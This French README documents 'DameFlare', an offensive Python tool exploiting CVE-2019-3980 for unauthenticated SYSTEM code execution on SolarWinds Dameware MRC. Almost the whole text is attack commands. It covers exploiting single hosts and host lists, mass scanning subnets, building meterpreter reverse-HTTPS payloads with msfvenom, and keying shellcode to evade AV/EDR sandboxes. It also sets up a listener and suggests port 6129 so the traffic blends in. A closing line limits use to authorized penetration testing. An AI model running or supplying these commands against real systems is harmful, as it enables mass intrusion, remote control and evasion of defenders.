
Exploit Python 3 pour CVE-2019-3980. Exécution de code à distance non authentifiée en tant que SYSTEM via contournement de l'authentification par carte à puce SolarWinds Dameware MRC.

RCE non authentifié via contournement de l'authentification par carte à puce dans SolarWinds Dameware MRC
CVE-2019-3980 | CVSS 9.8 Critique | TCP/6129
Recherche originale et POC : Tenable, Inc. (TRA-2019-43)
Outil Python 3 : David Boyd (@Fir3d0g)
Dameware MRC expose un service de contrôle à distance (DWRCS.exe) sur TCP/6129. Pendant la négociation d'authentification par carte à puce, le serveur accepte un fichier contrôlé par l'attaquant comme programme d'installation de pilote de carte à puce (dwDrvInst.exe) et l'exécute en tant que SYSTEM, sans authentification requise.
DameFlare implémente la négociation complète du protocole (négociation de version → dérivation de clé AES → échange de clés Diffie-Hellman → signature RSA → téléchargement du pilote) pour délivrer une charge utile arbitraire et réaliser une exécution de code à distance non authentifiée.
| Produit | Vulnérable | Corrigé |
|---|---|---|
| Dameware MRC 12.0.x | Toutes les versions | Correctif 1 |
| Dameware MRC 12.1.x | Toutes les versions | Correctif 3 |
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
Supprime l'artefact dwDrvInst.exe de la cible après exploitation :
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup
Nécessite msfvenom dans le PATH. Télécharge un EXE auto-supprimant qui supprime dwDrvInst.exe et lui-même après un court délai.
Sinon, si vous avez des identifiants, vous pouvez utiliser quelque chose comme NXC :
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe
Enveloppez le shellcode brut avec un keying environnemental pour échapper à l'analyse du bac à sable AV/EDR. La charge utile ne se déchiffrera et ne s'exécutera que sur une machine où les clés correspondent. Un grand merci à Kevin Clark (@GuhnooPlusLinux) pour son excellent travail !
# Key on domain and hostname (use short names, not FQDN)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
# Key on domain only
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe
# Static key only (useful for testing)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe
# Alternative injection methods if srdi-shellcode is caught
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"
Note : Le nom de la charge utile doit correspondre exactement entre msfvenom et le gestionnaire :
- Sans étage :
windows/x64/meterpreter_reverse_https(trait de soulignement)- Avec étage :
windows/x64/meterpreter/reverse_https(barre oblique)
Astuce : Dans les environnements Dameware, le port
6129est souvent autorisé en sortie et se fond dans le trafic légitime DWRCS. Si le443est bloqué ou inspecté par un proxy, essayezLPORT=6129car le réseau cible a probablement été conçu pour l'autoriser.
Cet outil est destiné à être utilisé uniquement dans le cadre de tests de pénétration autorisés et d'opérations d'équipe rouge. L'auteur décline toute responsabilité en cas d'utilisation non autorisée ou illégale.